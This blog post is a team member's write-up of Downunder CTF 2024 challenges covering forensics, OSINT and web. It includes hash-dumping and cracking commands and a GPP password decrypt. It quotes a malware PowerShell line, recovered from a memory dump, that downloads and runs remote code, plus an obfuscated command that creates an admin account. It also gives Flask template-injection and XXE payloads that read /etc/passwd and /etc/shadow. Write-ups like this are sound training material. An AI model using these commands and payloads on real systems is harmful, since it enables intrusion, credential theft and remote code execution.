![](https://www.operationdecode.com/wp-content/uploads/2024/07/68747470733a2f2f66696c65732e636174626f782e6d6f652f766c6e696b692e706e67-1024x256.png)
Over the 5-7 July Downunder CTF hosted their Annual Capture the flag. The CTF spanned over a number of categories including Pwn, Crypto, Misc, Rev,Web Forensics and OSINT.
This was a team event and I teamed up with colleagues and we managed to complete 18 challenges out of 66 challenges. Below I will discuss the challenges I completed.
Forensics
Challenge: Baby’s First Forensics
Brief:
They’ve been trying to breach our infrastructure all morning! They’re trying to get more info on our covert kangaroos! We need your help, we’ve captured some traffic of them attacking us, can you tell us what tool they were using and its version?
NOTE: Wrap your answer in the DUCTF{}
, e.g. DUCTF{nmap_7.25}
Once we download the PCAP file and open it in Wireshark, We jump straight to conversations located under statistics to check the streams. We can see a number of readable steams over HTTP (port 80)
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-1-1024x507.png)
Opening one of the steams we can see that the tool being used is Nikito/2.1.6
. This allowed us to enter the flag as DUCTF{nikito_2.1.6}
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-3-1024x95.png)
Challenge: SAM I AM
Brief:
The attacker managed to gain Domain Admin on our rebels Domain Controller! Looks like they managed to log on with an account using WMI and dumped some files.
Can you reproduce how they got the Administrator’s Password with the artifacts provided?
Place the Administrator Account’s Password in DUCTF{}
, e.g. DUCTF{password123!}
When we download the Zip file samiam.zip
we see what we have two files listed sam.bak
and system.bak
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-4.png)
Doing a google search for read sam and system file
we see a few posts about impacket. Doing a second google search for impacket sam file
lead us to the hackers recipes . On this article it gives us the information we need to follow
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-5.png)
jumping into our Kali Linux box we can use the impacket-secretsdump.
We set the sam.bak
and system.bak
as the sam and system variables.
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-6.png)
As we can see we have now got the hashes using secretsdump. Now we can move to using hashcat to crack the password.
hashcat -m 1000 -a 0 netntlm-hash.txt /usr/share/wordlists/rockyou.txt
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-7-1024x868.png)
As we can see we got the password as !checkerboard1. Adding this into DUCTF{!checkerboard1} becomes our new flag.
Challenge: Bad Policies
Brief:
Looks like the attacker managed to access the rebels Domain Controller.
Can you figure out how they got access after pulling these artifacts from one of our Outpost machines?
We are presented with a zip file with a number of folders which one is a list of policies
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-8.png)
when navigating through the folders we come across a groups.xml
file located in \badpolicies\rebels.ductf\Policies{B6EF39A3-E84F-4C1D-A032-00F042BE99B5}\Machine\Preferences\Groups
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-11.png)
Opening the groups.xml in notepad++ we can see there is a cpassword
listed as B+iL/dnbBHSlVf66R8HOuAiGHAtFOVLZwXu0FYf+jQ6553UUgGNwSZucgdz98klzBuFqKtTpO1bRZIsrF8b4Hu5n6KccA7SBWlbLBWnLXAkPquHFwdC70HXBcRlz38q2
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-12.png)
doing a google search for group policy cpassword crack leads us to Pentest Everythings article on GPP Passwords.
Reviewing the documentation we can see they mention the use of gpp-decrypt
. seeing Kali already has the gpp-decrypt tool packaged we can simply run gpp-decrypt B+iL/dnbBHSlVf66R8HOuAiGHAtFOVLZwXu0FYf+jQ6553UUgGNwSZucgdz98klzBuFqKtTpO1bRZIsrF8b4Hu5n6KccA7SBWlbLBWnLXAkPquHFwdC70HXBcRlz38q2
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-14-1024x40.png)
We are then given our flag DUCTF{D0n7_Us3_P4s5w0rds_1n_Gr0up_P0l1cy}
Challenge: Lost in Memory
Brief:
Looks like one of our Emu soldiers ran something on an Outpost machine and now it’s doing strange things. We took a memory dump as a precaution. Can you tell us whats going on?
This challenge has four parts to combine into the final flag with _
between each answer. Find all four answers and combine them into the flag as all lower case like DUCTF{answer1_answer2_answer3_answer4}
eg. DUCTF{malicious.xlsm_invoke-mimikatz_malware.exe-malware2.exe_strong-password123}
- What was the name of the malicious executable? eg
malicious.xlsm
- What was the name of the powershell module used? eg
invoke-mimikatz
- What were the names of the two files executed from the malicious executable (In alphabetical order with – in between and no spaces)? eg
malware.exe-malware2.exe
- What was the password of the new account created through powershell? eg
strong-password123
In this challenge we were presented with a EMU-OUTPOST.raw
file. Attacking the first question, what was the malicious executable, we use volatility3 to explore the raw dump. Using the command vol -f EMU-OUTPOST.raw windows.cmd
we can see a list of processes that was run What stands out is the process 3048 notepad.exe "C:\Windows\System32\notepad.exe" "C:\Users\emu\Downloads\monkey.doc.ps1"
Therefore the executable was monkey.doc.ps1
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-15-1024x884.png)
For the second question, What was the name of the Powershell module used. In volatility3 we use the filescan command to find all files associated with vol -f EMU-OUTPOST.raw windows.filescan | grep monkey.doc
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-16-1024x72.png)
Now we use the dump command to read the physical address offset. vol -f EMU-OUTPOST.raw windows.dumpfiles --physaddr 0x3fa22620
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-17-1024x85.png)
Once we have downloaded and cat the file we can see the content which shows the powershell command
Start-Job -ScriptBlock {iex (New-Object net.webclient).Downloadstring('http://192.168.57.166/reflective/reflect.ps1'); Invoke-ReflectivePEInjection -PEUrl http://192.168.57.166/documents/emu.dll};Start-Job -ScriptBlock {iex (New-Object net.webclient).Downloadstring('http://192.168.57.166/reflective/reflect.ps1'); Invoke-ReflectivePEInjection -PEUrl http://192.168.57.166/documents/kiwi.dll}
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-18-1024x22.png)
As we can see the module they used was invoke-reflectivepeinjection which is the answer for question 2.
For Question 3 what was the names of the two malicious executables. with the information above we have this as emu.dll
and kiwi.dll
. For the answer to be entered it needs to be emu.dll-kiwi.dll
Finally the last question was what is the strong password they created.
We ran strings
on the EMU-OUTPOST.raw and spotted the following encoded {owershell command powershell $PKjAU= ") )'dd'+'a/ n'+'i'+'mda'+' sro'+'t'+'artsinimda'+' p'+'uorglacol'+' te'+'n;d'+'d'+'a/ 3r'+'uce5-r3'+'pu'+'5'+' nimda resu '+'te'+'n'(( )'x'+]31[dIlLehs$+]1[diLLehs$ (."; .( $Env:CoMsPeC[4,24,25]-JOIn'')(-join ( gi vaRiaBlE:pKjAU).valUe[-1 .. - ( ( gi vaRiaBlE:pKjAU).valUe.leNgth) ] )
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-19-1024x10.png)
Now using ChatGPT to reverse the code. The answer that ChatGPT gave was not quiet right however it did point us to the right direction as it mentioned it got reversed
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-20.png)
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-21.png)
noticing the 3r'+'uce5-r3'+'pu'+'5
‘ in the original text, reversed and joined together gives us 5up3r-5ecur3 which is the answer for question 4. What was the password.
Now joining all these together in the format the challenge asked for gives us the flag of DUCTF{monkey.doc.ps1_invoke-reflectivepeinjection_emu.dll-kiwi.dll_5up3r-5ecur3}
OSINT
challenge: cityviews
Brief:
After having to go on the run, I’ve had to bunker down. Which building did I capture this picture from?
NOTE: Flag is case-insensitive and requires placing inside DUCTF{}
! e.g DUCTF{building_name}
They gave us the following picture
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-22.png)
Looking at the Billboard at the back we can see a radio station advertised in Melbourne.
Now we can move google maps to Melbourne and start searching the the g
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-23-1024x402.png)
We now click on The Great Southern Hotel Melbourne
and can see the font and name matches the image.
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-24-1024x424.png)
We notice in the image they provided there is some trees, Moving around the building in street view we spot the trees in the photo.
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-25.png)
getting out of street view mode we can look at the neighboring building being Hotel Indigo Melbourne on Flinders
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-26.png)
The flag for this challenge is DUCTF{hotel_indigo_melbourne}
Challenge: back to the jungle
Brief: Did MC Fat Monke just drop a new track????? 👀👀👀
In the brief that is the only information given. Searching Youtube for MC Fat Monke
we see the following video
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-27.png)
Watching the video we see one frame at 2:34 that states FREE FLAG :0 looking carefully it is a url they visited being https://average-primate-th.wixsite.com/mc-fat-monke-appreci
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-28-1024x672.png)
visiting the site we see our flag listed
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-29-1024x447.png)
Web
Challenge: Parrot the Emu
Brief:
It is so nice to hear Parrot the Emu talk back
We are given a zip file which shows us the website https://web-parrot-the-emu-4c2d0c693847.2024.ductf.dev and how it is designed
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-30.png)
reviewing the templates folder and the index.html we see a section of code where the data is echoed out
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-31.png)
Looking at the app.py file we see this is a flask application
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-32.png)
doing a google search on flask template injection we see a number of articles that explain how we can attempt to exploit, Reviewing hacktricks
Testing the form normally we can see it behaves as expected
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-33.png)
Now attempting to inject code by doing a simple mathematical equation we see its injectable
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-34.png)
We can read the configuration of the server
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-35.png)
using
User {{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
allowed us to read the passwd file.
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-36.png)
simply adjusting the command to be
User {{ get_flashed_messages.__globals__.__builtins__.open("flag").read() }}
and injecting the form allows us to get our flag
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-37.png)
Challenge: zoo feedback form
Brief:
The zoo wants your feedback! Simply fill in the form, and send away, we’ll handle it from there!
We are given a url https://web-zoo-feedback-form-2af9cc09a15e.2024.ductf.dev
visiting the url we see its a simple feedback form
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-38.png)
loading the site in Burpesuite and intercepting the request flow we can see the site is accepting an XML format
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-39-1024x725.png)
doing a google search for XML injection payloads we see a number of articles. Referring to Payloadbox gitbub we can try a number of payloads.
What we want to try is to attempt to read the shadow file. The example they provide is
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&ent;</lastName>
</userInfo>
For our example we need to edit it slightly
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow">]>
<root>
<feedback>&ent</feedback>
</root>
We send the request to the repeater and then attempt to inject our edited request and now we can read the /etc/shadow file.
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-40-1024x549.png)
Reviewing the downloaded files we can see the application is using @app,
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-42-737x1024.png)
Adjusting our code to read the flag
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///app/flag.txt">]>
<root>
<feedback>&ent;</feedback>
</root>
![](https://www.operationdecode.com/wp-content/uploads/2024/07/image-43-1024x651.png)
We can see the flag we are given is DUCTF{emU_say$_he!!0_h0!@_ci@0}
Summary.
Its been a very since Christmas I did a CTF and Its great to see forensics and OSINT challenges. Prior knowledge from other CTFs did come in handly especially on the web exploitation challenges. Looking forward to the next CTF